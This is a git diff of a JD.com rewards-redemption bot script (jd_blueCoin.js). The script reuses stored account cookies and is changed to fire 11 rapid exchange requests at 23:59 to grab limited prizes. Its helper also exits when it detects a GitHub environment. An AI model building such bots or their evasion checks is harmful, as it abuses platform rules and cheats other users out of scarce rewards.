e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_blueCoin.js b/jd_blueCoin.js index 7443fce..24216ae 100755 --- a/jd_blueCoin.js +++ b/jd_blueCoin.js @@ -1,31 +1,31 @@ /* - -能不能用不知道 - -没机会抓新包 - +东东超市兑换奖品 脚本地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js +感谢@yangtingxiao提供PR +更新时间:2021-6-7 +活动入口:京东APP我的-更多工具-东东超市 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ============QuantumultX============== [task_local] #东东超市兑换奖品 -0 0 0 * * * jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true +59 23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true ====================Loon================= [Script] -cron "0 0 0 * * *" script-path=jd_blueCoin.js,tag=东东超市兑换奖品 +cron "59 23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js,tag=东东超市兑换奖品 ===================Surge================== -东东超市兑换奖品 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_blueCoin.js +东东超市兑换奖品 = type=cron,cronexp="59 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js ============小火箭========= -东东超市兑换奖品 = type=cron,script-path=jd_blueCoin.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true +东东超市兑换奖品 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, cronexpr="59 23 * * *", timeout=3600, enable=true */ - const $ = new Env('东东超市兑换奖品'); const notify = $.isNode() ? require('./sendNotify') : ''; let allMessage = ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let coinToBeans = $.getdata('coinToBeans') || "超值京豆包"; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 +let coinToBeans = $.getdata('coinToBeans') || 20; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = ''; @@ -33,13 +33,26 @@ if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} !(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); @@ -61,7 +74,7 @@ const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; //console.log($.coincount); $.isLogin = true; $.nickName = ''; - // await TotalBean(); + await TotalBean(); console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); // console.log(`目前暂无兑换酒类的奖品功能,即使输入酒类名称,脚本也会提示下架\n`) if (!$.isLogin) { @@ -99,6 +112,13 @@ const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; .finally(() => $.done()) async function PrizeIndex() { + let nowtime = new Date().Format("s.S") + let starttime = process.env.SM_STARTTIME ? process.env.SM_STARTTIME : 59; + if(nowtime < 59) { + let sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}`); + await sleep(sleeptime) + } await smtg_queryPrize(); // await smtg_materialPrizeIndex();//兑换酒类奖品,此兑换API与之前的兑换京豆类的不一致,故目前无法进行 // await Promise.all([ @@ -109,52 +129,56 @@ async function PrizeIndex() { const prizeList = [...$.queryPrizeData]; if (prizeList && prizeList.length) { if (`${coinToBeans}` === '1000') { - if (prizeList[0] && prizeList[0].type === 3) { - console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) - $.title = prizeList[0].name; - $.blueCost = prizeList[0].cost; - } else { - console.log(`查询换1000京豆ID失败`) - $.beanerr = `东哥今天不给换`; - return; - } - if (prizeList[0] && prizeList[0].inStock === 506) { - $.beanerr = `失败,1000京豆领光了,请明天再来`; - return; - } - if (prizeList[0] && prizeList[0].limit === prizeList[0] && prizeList[0].finished) { - $.beanerr = `${prizeList[0].name}`; - return; - } - //兑换1000京豆 - if ($.totalBlue > $.blueCost) { - await smtg_obtainPrize(prizeList[0].prizeId); - } else { - console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); - $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; - } - } else if (`${coinToBeans}` === '20') { if (prizeList[1] && prizeList[1].type === 3) { console.log(`查询换${prizeList[1].name}ID成功,ID:${prizeList[1].prizeId}`) $.title = prizeList[1].name; $.blueCost = prizeList[1].cost; + } else { + console.log(`查询换1000京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + // if (prizeList[1] && prizeList[1].status === 2) { + // $.beanerr = `失败,1000京豆领光了,请明天再来`; + // return ; + // } + if (prizeList[1] && prizeList[1].limit === prizeList[1] && prizeList[1].finished) { + $.beanerr = `${prizeList[1].name}`; + return ; + } + //兑换1000京豆 + if ($.totalBlue > $.blueCost) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[1].prizeId); + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else if (`${coinToBeans}` === '20') { + if (prizeList[0] && prizeList[0].type === 3) { + console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) + $.title = prizeList[0].name; + $.blueCost = prizeList[0].cost; } else { console.log(`查询换万能的京豆ID失败`) $.beanerr = `东哥今天不给换`; - return; - } - if (prizeList[0] && prizeList[0].inStock === 506) { - console.log(`失败,万能的京豆领光了,请明天再来`); - $.beanerr = `失败,万能的京豆领光了,请明天再来`; - return; + return ; } + // if (prizeList[0] && prizeList[0].status === 2) { + // console.log(`失败,万能的京豆领光了,请明天再来`); + // $.beanerr = `失败,万能的京豆领光了,请明天再来`; + // return ; + // } if ((prizeList[0] && prizeList[0].limit) === (prizeList[0] && prizeList[0].finished)) { $.beanerr = `${prizeList[0].name}`; - return; + return ; } //兑换万能的京豆(1-20京豆) if ($.totalBlue > $.blueCost) { - await smtg_obtainPrize(prizeList[0].prizeId, 1000); + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[0].prizeId, 1000); + } } else { console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; @@ -163,7 +187,7 @@ async function PrizeIndex() { //自定义输入兑换 console.log(`\n\n温馨提示:需兑换商品的名称设置请尽量与其他商品有区分度,否则可能会兑换成其他类似商品\n\n`) let prizeId = '', i; - for (let index = 0; index < prizeList.length; index++) { + for (let index = 0; index < prizeList.length; index ++) { if (prizeList[index].name.indexOf(coinToBeans) > -1) { prizeId = prizeList[index].prizeId; i = index; @@ -177,17 +201,21 @@ async function PrizeIndex() { if (prizeList[i].inStock === 506 || prizeList[i].inStock === -1) { console.log(`失败,您输入设置的${coinToBeans}领光了,请明天再来`); $.beanerr = `失败,您输入设置的${coinToBeans}领光了,请明天再来`; - return; + return ; } if ((prizeList[i].targetNum) && prizeList[i].targetNum === prizeList[i].finishNum) { $.beanerr = `${prizeList[0].subTitle}`; - return; + return ; } if ($.totalBlue > $.blueCost) { if ($.type === 4 && !$.beanType) { - await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") + } } else { - await smtg_obtainPrize(prizeId); + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId); + } } } else { console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); @@ -200,23 +228,22 @@ async function PrizeIndex() { } } } - //查询白酒类奖品列表API function smtg_materialPrizeIndex(timeout = 0) { $.materialPrizeIndex = []; return new Promise((resolve) => { - setTimeout(() => { + setTimeout( ()=>{ let url = { - url: `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, - headers: { - 'Origin': `https://jdsupermarket.jd.com`, - 'Cookie': cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json, text/plain, */*`, - 'Referer': `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host': `api.m.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn` + url : `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` } } $.post(url, async (err, resp, data) => { @@ -235,26 +262,25 @@ function smtg_materialPrizeIndex(timeout = 0) { resolve() } }) - }, timeout) + },timeout) }) } - //查询任务 -function smtg_queryPrize(timeout = 0) { +function smtg_queryPrize(timeout = 0){ $.queryPrizeData = []; return new Promise((resolve) => { - setTimeout(() => { + setTimeout( ()=>{ let url = { - url: `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, - headers: { - 'Origin': `https://jdsupermarket.jd.com`, - 'Cookie': cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json, text/plain, */*`, - 'Referer': `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host': `api.m.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn` + url : `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` } } $.post(url, async (err, resp, data) => { @@ -268,7 +294,7 @@ function smtg_queryPrize(timeout = 0) { return } if (data.data.bizCode === 0) { - const {areas} = data.data.result; + const { areas } = data.data.result; const prizes = areas.filter(vo => vo['type'] === 4); if (prizes && prizes[0]) { $.areaId = prizes[0].areaId; @@ -283,10 +309,9 @@ function smtg_queryPrize(timeout = 0) { resolve() } }) - }, timeout) + },timeout) }) } - //换京豆 function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize') { //1000京豆,prizeId为4401379726 @@ -308,18 +333,18 @@ function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize' "channel": "18" } return new Promise((resolve) => { - setTimeout(() => { + setTimeout( ()=>{ let url = { - url: `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, - headers: { - 'Origin': `https://jdsupermarket.jd.com`, - 'Cookie': cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json, text/plain, */*`, - 'Referer': `https://jdsupermarket.jd.com/game/?tt=1597540727225`, - 'Host': `api.m.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn` + url : `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` } } $.post(url, async (err, resp, data) => { @@ -334,21 +359,21 @@ function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize' return } if ($.data.data.bizCode === 106) { - $.errBizCodeCount++; + $.errBizCodeCount ++; console.log(`debug 兑换京豆活动火爆次数:${$.errBizCodeCount}`); if ($.errBizCodeCount >= 20) return } if ($.data.data.bizCode === 0) { if (`${coinToBeans}` === '1000') { - $.beanscount++; + $.beanscount ++; console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) if ($.beanscount === 1) return; } else if (`${coinToBeans}` === '20') { - $.beanscount++; + $.beanscount ++; console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) if ($.data.data.result.count === 20 || $.beanscount === coinToBeans || $.data.data.result.blue < $.blueCost) return; } else { - $.beanscount++; + $.beanscount ++; console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) if ($.beanscount === 1) return; } @@ -361,10 +386,9 @@ function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize' resolve() } }) - }, timeout) + },timeout) }) } - function smtgHome() { return new Promise((resolve) => { $.get(taskUrl('smtg_newHome'), (err, resp, data) => { @@ -375,11 +399,10 @@ function smtgHome() { } else { if (safeGet(data)) { data = JSON.parse(data); + // console.log(data) if (data.data.bizCode === 0) { - const {result} = data.data; - $.totalGold = result.totalGold; + const { result } = data.data; $.totalBlue = result.totalBlue; - // console.log(`【总金币】${$.totalGold}个\n`); console.log(`【总蓝币】${$.totalBlue}个\n`); } } @@ -392,7 +415,9 @@ function smtgHome() { }) }) } - +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} //通知 function msgShow() { // $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【收取蓝币】${$.coincount ? `${$.coincount}个` : $.coinerr }${coinToBeans ? `\n【兑换京豆】${ $.beanscount ? `${$.beanscount}个` : $.beanerr}` : ""}`); @@ -407,7 +432,7 @@ function msgShow() { } //默认只在兑换奖品成功后弹窗提醒。情况情况加,只打印日志,不弹窗 if ($.beanscount && $.ctrTemp) { - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${ $.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}${$.index !== cookiesArr.length ? '\n\n' : ''}` // if ($.isNode()) { // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`) @@ -416,7 +441,6 @@ function msgShow() { resolve() }) } - function TotalBean() { return new Promise(async resolve => { const options = { @@ -461,7 +485,6 @@ function TotalBean() { }) }) } - function safeGet(data) { try { if (typeof JSON.parse(data) == "object") { @@ -473,7 +496,6 @@ function safeGet(data) { return false; } } - function taskUrl(function_id, body = {}) { return { url: `${JD_API_HOST}&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, @@ -486,7 +508,6 @@ function taskUrl(function_id, body = {}) { } } } - function jsonParse(str) { if (typeof str == "string") { try { @@ -498,291 +519,4 @@ function jsonParse(str) { } } } - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: {script_text: t, mock_type: "cron", timeout: r}, - headers: {"X-Key": o, Accept: "*/*"} - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 